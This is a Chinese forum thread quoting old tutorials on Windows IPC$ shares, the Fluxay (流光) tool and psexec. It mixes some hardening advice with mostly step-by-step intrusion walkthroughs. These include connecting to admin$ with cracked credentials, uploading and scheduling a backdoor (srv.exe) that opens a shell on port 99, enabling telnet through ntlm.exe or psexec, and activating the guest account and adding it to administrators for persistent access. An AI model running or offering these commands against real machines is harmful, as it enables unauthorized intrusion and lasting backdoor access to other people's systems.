登录 用户中心() [退出] 后台管理 注册
 

热门搜索:
您的位置:首页 >> 技术bbs [电脑技术相关的内容,希望大家共同进步:)] >> 软/硬件使用知识 >> 主题: 曾经受到的攻击 流光 psexec IPC共享
标题 曾经受到的攻击 流光 psexec IPC共享
clq
浏览(2212) 2010-10-15 16:10:13 发表 编辑

关键字:

其实 流光 psexec 都用的是 IPC共享功能,只能说这是 windows 很白痴的一面.

clq
2010-10-15 16:18:01 发表 编辑

介绍下XP中的IPC共享
2007年10月17日 星期三 17:26

网上关于ipc$入侵的文章可谓多如牛毛,而且也不乏优秀之作,攻击步骤甚至可以说已经成为经典的模式,因此也没人愿意再把这已经成为定式的东西拿出来摆弄.
不过话虽这样说,但我个人认为这些文章讲解的并不详细,对于第一次接触ipc$的菜鸟来说,简单的罗列步骤并不能解答他们的许多迷惑(你随便找一个hack论坛搜一下ipc,看存在的疑惑有多少).
因此我写了这篇相当于解惑的教程.想把一些容易混淆,容易迷惑人的问题说清楚,让大家不要总徘徊在原地!如果你看完这篇帖子仍有疑问,请马上回复!


二 什么是ipc$
IPC$(Internet Process Connection)是共享"命名管道"的资源(大家都是这么说的),它是为了让进程间通信而开放的命名管道,可以通过验证用户名和密码获得相应的权限,在远程管理计算机和查看计算机的共享资源时使用。
利用IPC$,连接者甚至可以与目标主机建立一个空的连接而无需用户名与密码(当然,对方机器必须开了ipc$共享,否则你是连接不上的),而利用这个空的连接,连接者还可以得到目标主机上的用户列表(不过负责的管理员会禁止导出用户列表的)。
我们总在说ipc$漏洞ipc$漏洞,其实,ipc$并不是真正意义上的漏洞,它是为了方便管理员的远程管理而开放的远程网络登陆功能,而且还打开了默认共享,即所有的逻辑盘(c$,d$,e$......)和系统目录winnt或windows(admin$)。
所有的这些,初衷都是为了方便管理员的管理,但好的初衷并不一定有好的收效,一些别有用心者(到底是什么用心?我也不知道,代词一个)会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测,寄希望于获得更高的权限,从而达到不可告人的目的.

解惑:
1)IPC连接是Windows NT及以上系统中特有的远程网络登陆功能,其功能相当于Unix中的Telnet,由于IPC$功能需要用到Windows NT中的很多DLL函数,所以不能在Windows 9.x中运行。
也就是说只有nt/2000/xp才可以建立ipc$连接,98/me是不能建立ipc$连接的(但有些朋友说在98下能建立空的连接,不知道是真是假,不过现在都2003年了,建议98的同志换一下系统吧,98不爽的)
2)即使是空连接也不是100%都能建立成功,如果对方关闭了ipc$共享,你仍然无法建立连接
3)并不是说建立了ipc$连接就可以查看对方的用户列表,因为管理员可以禁止导出用户列表


三 建立ipc$连接在hack攻击中的作用
就像上面所说的,即使你建立了一个空的连接,你也可以获得不少的信息(而这些信息往往是入侵中必不可少的),访问部分共享,如果你能够以某一个具有一定权限的用户身份登陆的话,那么你就会得到相应的权限,显然,如果你以管理员身份登陆,嘿嘿,就不用我在多说了吧,what u want,u can do!!
(基本上可以总结为获取目标信息、管理目标进程和服务,上传木马并运行,如果是2000server,还可以考虑开启终端服务方便控制.怎么样?够厉害吧!)
不过你也不要高兴的太早,因为管理员的密码不是那么好搞到的,虽然会有一些傻傻的管理员用空口令或者弱智密码,但这毕竟是少数,而且现在不比从前了,随着人们安全意识的提高,管理员们也愈加小心了,得到管理员密码会越来越难的:(
因此今后你最大的可能就是以极小的权限甚至是没有权限进行连接,你会慢慢的发现ipc$连接并不是万能的,甚至在主机不开启ipc$共享时,你根本就无法连接.
所以我认为,你不要把ipc$入侵当作终极武器,不要认为它战无不胜,它就像是足球场上射门前的传球,很少会有致命一击的效果,但却是不可缺少的,我觉得这才是ipc$连接在hack入侵中的意义所在.


四 ipc$与空连接,139,445端口,默认共享的关系
以上四者的关系可能是菜鸟很困惑的一个问题,不过大部分文章都没有进行特别的说明,其实我理解的也不是很透彻,都是在与大家交流中总结出来的.(一个有良好讨论氛围的BBS可以说是菜鸟的天堂)

1)ipc$与空连接:
不需要用户名与密码的ipc$连接即为空连接,一旦你以某个用户或管理员的身份登陆(即以特定的用户名和密码进行ipc$连接),自然就不能叫做空连接了.
许多人可能要问了,既然可以空连接,那我以后就空连接好了,为什么还要费九牛二虎之力去扫描弱口令,呵呵,原因前面提到过,当你以空连接登陆时,你没有任何权限(很郁闷吧),而你以用户或管理员的身份登陆时,你就会有相应的权限(有权限谁不想呀,所以还是老老实实扫吧,不要偷懒哟).
2)ipc$与139,445端口:
ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通过139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的.
3)ipc$与默认共享
默认共享是为了方便管理员远程管理而默认开启的共享(你当然可以关闭它),即所有的逻辑盘(c$,d$,e$......)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问(前提是对方没有关闭这些默认共享)
??

五 ipc$连接失败的原因
以下5个原因是比较常见的:
1)你的系统不是NT或以上操作系统;
2)对方没有打开ipc$默认共享
3)对方未开启139或445端口(惑被防火墙屏蔽)
4)你的命令输入有误(比如缺少了空格等)
5)用户名或密码错误(空连接当然无所谓了)
另外,你也可以根据返回的错误号分析原因:
错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
错误号51,Windows 无法找到网络路径 : 网络有问题;
错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$;
错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
错误号1326,未知的用户名或错误密码 : 原因很明显了;
错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。
关于ipc$连不上的问题比较复杂,除了以上的原因,还会有其他一些不确定因素,在此本人无法详细而确定的说明,就靠大家自己体会和试验了.


六??如何打开目标的IPC$(此段引自相关文章)
首先你需要获得一个不依赖于ipc$的shell,比如sql的cmd扩展、telnet、木马,当然,这shell必须是admin权限的,然后你可以使用shell执行命令 net share ipc$ 来开放目标的ipc$。从上面可以知道,ipc$能否使用还有很多条件。请确认相关服务都已运行,没有就启动它(不知道怎么做的请看net命令的用法), 还是不行的话(比如有防火墙,杀不了)建议放弃。


七??如何防范ipc$入侵
1禁止空连接进行枚举(此操作并不能阻止空连接的建立,引自《解剖win2000下的空会话》)
首先运行regedit,找到如下组建[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control \LSA]把RestrictAnonymous = DWORD的键值改为:00000001(如果设置为2的话,有一些问题会发生,比如一些WIN的服务出现问题等等)

2禁止默认共享
1)察看本地共享资源
运行-cmd-输入net share
2)删除共享(每次输入一个)
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,......可以继续删除)
3)停止server服务
net stop server /y (重新启动后server服务会重新开启)
4)修改注册表
运行-regedit
server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services \LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。
pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。
如果上面所说的主键不存在,就新建(右击-新建-双字节值)一个主健再改键值。

3永久关闭ipc$和默认共享依赖的服务:lanmanserver即server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-已禁用

4安装防火墙(选中相关设置),或者端口过滤(滤掉139,445等),或者用新版本的优化大师

5设置复杂密码,防止通过ipc$穷举密码


八 相关命令
1)建立空连接:
net use \\IP\ipc$ "" /user:""? ?? ???(一定要注意:这一行命令中包含了3个空格)

2)建立非空连接:
net use \\IP\ipc$ "用户名" /user:"密码"? ???(同样有3个空格)

3)映射默认共享:
net use z: \\IP\c$ "密码" /user:"用户名"? ?? ? (即可将对方的c盘映射为自己的z盘,其他盘类推)
如果已经和目标建立了ipc$,则可以直接用IP+盘符+$访问,具体命令 net use z: \\IP\c$

4)删除一个ipc$连接
net use \\IP\ipc$ /del

5)删除共享映射
net use c: /del 删除映射的c盘,其他盘类推
net use * /del 删除全部,会有提示要求按y确认


九 经典入侵模式
这个入侵模式太经典了,大部分ipc教程都有介绍,我也就拿过来引用了,在此感谢原创作者!(不知道是哪位前辈)

11. C:\>net use \\127.0.0.1\IPC$ "密码" /user:"用户名"
一般用流光,通过扫描弱口令来得到,管理员帐号和密码.
2. C:\>copy srv.exe \\127.0.0.1\admin$
先复制srv.exe上去,在流光的Tools目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)。
  
3. C:\>net time \\127.0.0.1
查查时间,发现127.0.0.1 的当前时间是 2004/6/15 上午 11:00,命令成功完成。
  
4. C:\>at \\127.0.0.1 11:05 srv.exe
用at命令启动srv.exe吧

5. C:\>net time \\127.0.0.1
再查查到时间没有?如果127.0.0.1 的当前时间是 2004/6/15 上午 11:05,那就准备开始下面的命令。
  
6. C:\>telnet 127.0.0.1 99
这里会用到Telnet命令吧,注意端口是99。Telnet默认的是23端口,但是我们使用的是SRV在对方计算机中为我们建立一个99端口的Shell。
虽然我们可以Telnet上去了,但是SRV是一次性的,下次登录还要再激活!所以我们打算建立一个Telnet服务!这就要用到ntlm了
  
7.C:\>copy ntlm.exe \\127.0.0.1\admin$
用Copy命令把ntlm.exe上传到主机上(ntlm.exe也是在《流光》的Tools目录中)。
  
8. C:\WINNT\system32>ntlm
输入ntlm启动(这里的C:\WINNT\system32>指的是对方计算机,运行ntlm其实是让这个程序在对方计算机上运行)。当出现"DONE"的时候,就说明已经启动正常。然后使用"net start telnet"来开启Telnet服务!

9. Telnet 127.0.0.1,接着输入用户名与密码就进入对方了,操作就像在DOS上操作一样简单!(然后你想做什么?想做什么就做什么吧,哈哈)

为了以防万一,我们再把guest激活加到管理组? ?
10. C:\>net user guest /active:yes
将对方的Guest用户激活

11. C:\>net user guest 1234
将Guest的密码改为1234,或者你要设定的密码

12. C:\>net localgroup administrators guest /add
将Guest变为Administrator(如果管理员密码更改,guest帐号没改变的话,下次我们可以用guest再次访问这台计算机)

clq
2010-10-15 16:50:40 发表 编辑

psexec 使用可见下文,不过多数情况下应该已经过时了.
--------------------------------------------------
标题: 快速开启对方机器(win2000)的telnet服务

时间:2005-01-10
来源:不详

  工具:psexec.exe
条件:知道对方机器的管理员账号密码任意一个,使用psexec.exe 工具开启对方机器的telnet 服务。实践通过。

现在在网上流行的开对方机器的telnet 服务的教程有这么两种:
一、 小榕的流光工具自带的一个工具系列:ntlm.exe runas.exe ……俺觉得繁琐无比:(
没有轻视小榕的意思:”)觉得小榕能写一个程序修改注册表,不简单:”)
二、.abu.写的一个快速开启对方机器的telnet 服务的一个教程。说是快,实际上不快:(
需要操作对方机器的注册表,速度奇慢无比。也没有什么XX意思:”(
三、俺自己写的一个开启对方机器telnet 服务的教程,呵呵~~不是流行的,---参考:)比较快的一种,呵呵~俺没有自夸,需要两个工具:psexec.exe、ntlm.exe。方法略:”)有更好的你难道不想用么:”)
呵呵~~对上边的开启telnet 服务的教程,做了一点评论,个人意见,仅供参考。
今天我讲的快速开启对方机器(win 2000)的telnet服务之需要一个工具即可。
PSEXEC.EXE
做一下介绍:
C:\Tools\Pstools>psexec.exe

PsExec v1.3 - execute processes remotely
Copyright (C) 2001 Mark Russinovich
www.sysinternals.com

PsExec executes a program on a remote system, where remotely executed console
applications execute interactively.

Usage: psexec \\computer [-u user [-p psswd]][-s][-i][-c [-f]][-d] cmd [argument
s]
   -u     Specifies optional user name for login to remote
        computer.
   -p     Specifies optional password for user name. If you omit this
        you will be prompted to enter a hidden password.
   -s     Run the remote process in the System account.
   -i     Run the program so that it interacts with the desktop on the
        remote system.
   -c     Copy the specified program to the remote system for
        execution. If you omit this option the application
        must be in the system path on the remote system.
   -f     Copy the specified program even if the file already
        exists on the remote system.
   -d     Don't wait for process to terminate (non-interactive).
   program  Name of application to execute.
   arguments Arguments to pass (note that file paths must be
        absolute paths on the target system).

You can enclose applications that have spaces in their name with
quotation marks e.g. psexec \\marklap "c:\long name app.exe".
Input is only passed to the remote system when you press the enter
key, and typing Ctrl-C terminates the remote process.

If you omit a user name the process will run in the context of your
account on the remote system, but will not have access to network
resources (because it is impersonating). Specify a valid user name
in the Domain\User syntax if the remote process requires access
to network resources or to run in a different account. Note that
the password is transmitted in clear text to the remote system.
C:\Tools\Pstools>
英文的,什么你不懂英文??呵呵~自己还是慢慢摸索吧!!
这里我们运用这个命令行的两个参数-u –p 介绍一下:-u 就是对方机器的管理员的账号 –p 就是对方管理员账号的密码,如果密码为空则没有 –p 这个选项。
运行格式:psexec.exe \\对方机器的ip -u 对方机器的管理员账号 –p 对方机器的管理员账号密码 cmd (需要运行的程序)
步骤命令行下:
1、 psexec.exe \\ip -u administrator –p foolishman cmd
2、 进入对方机器 一般是c:\winnt\system32\〉下执行 tlntadmn.exe –呵呵~~这个是个什么程序??Telnet 服务器管理!呵呵~~知道了??
3、 可以了,你已经知道该如何做乐:)
4、 EOF
进入对方机器后方法2:
还有一种方法就是写一个reg文件,修改ntlm的值为0或1
在dos下
c:\>copy con reg.reg
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer\1.0]
"NTLM"=dword:00000000
^z
c:\>regedit /s reg.reg 不出现确定窗口:")
c:\>net start telnet
OK
开启对方的telnet服务了:")很简洁是不是:")
方法1附上操作步骤:
本机运行:
D:\hack\>tlntadmn


Microsoft (R) Windows 2000 (TM) (内部版本号 2195)
Telnet Server Admin (Build 5.00.99201.1)

请在下列选项中选择一个:


0) 退出这个应用程序
1) 列出当前用户
2) 结束一个用户的会话 ...
3) 显示 / 更改注册表设置 ...
4) 开始服务
5) 停止服务

请键入一个选项的号码 [0 - 5] 以选择该选项: 3


请在下列选项中选择一个:

0) 退出这个菜单
1) AllowTrustedDomain
2) AltKeyMapping
3) DefaultDomain
4) DefaultShell
5) LoginScript
6) MaxFailedLogins
7) NTLM
8) TelnetPort
请键入一个选项的号码 [0 - 8] 以选择该选项: 7
NTLM 的当前值 = 1
您确实想更改这个值吗 ? [y/n]y
NTLM [ 当前值 = 1; 可接受的值 0、1 或 2 ] :0
您确实想将 NTLM 设置为 : 0 ? [y/n]y

只有当 Telnet 服务重新开始后设置才会生效


请在下列选项中选择一个:

0) 退出这个菜单
1) AllowTrustedDomain
2) AltKeyMapping
3) DefaultDomain
4) DefaultShell
5) LoginScript
6) MaxFailedLogins
7) NTLM
8) TelnetPort
请键入一个选项的号码 [0 - 8] 以选择该选项: 0

请在下列选项中选择一个:


0) 退出这个应用程序
1) 列出当前用户
2) 结束一个用户的会话 ...
3) 显示 / 更改注册表设置 ...
4) 开始服务
5) 停止服务

请键入一个选项的号码 [0 - 5] 以选择该选项: 4
启动 Microsoft Telnet 服务 ...
Microsoft Telnet 服务启动成功

请在下列选项中选择一个:


0) 退出这个应用程序
1) 列出当前用户
2) 结束一个用户的会话 ...
3) 显示 / 更改注册表设置 ...
4) 开始服务
5) 停止服务

请键入一个选项的号码 [0 - 5] 以选择该选项: 0

###############################################################################
对方机器上运行:
Microsoft Windows 2000 [Version 5.00.2195]
(C) 版权所有 1985-2000 Microsoft Corp.

C:\WINNT\system32>tlntadmn=>回车!运行telnet管理器,但并不显示菜单:(
3<=键入 回车
------------------------
1) AllowTrustedDomain
2) AltKeyMapping
3) DefaultDomain
4) DefaultShell
5) LoginScript
6) MaxFailedLogins
7) NTLM
8) TelnetPort
------------------------出现的菜单~~
7<=键入 回车
y<=键入 回车
NTLM0<=键入(0)NTLM不是输入的 回车
y<=键入 回车
---------------------
1) AllowTrustedDomain
2) AltKeyMapping
3) DefaultDomain
4) DefaultShell
5) LoginScript
6) MaxFailedLogins
7) NTLM
8) TelnetPort
---------------------修改NTLM以后出现菜单
0<=键入 回车 退出这个菜单
4<=键入 回车 打开telnet服务<=>net start telnet
0<=键入 回车 退出telnet管理器

C:\WINNT\system32>OK 已经开启了对方机器的 telnet 服务。


总数:2 页次:1/1 首页 尾页  


发表评论:
文本/html模式切换 插入图片 文本/html模式切换


附件:




Copyright © 2005-2012 CLQ工作室, All Rights Reserved

CLQ工作室 版权所有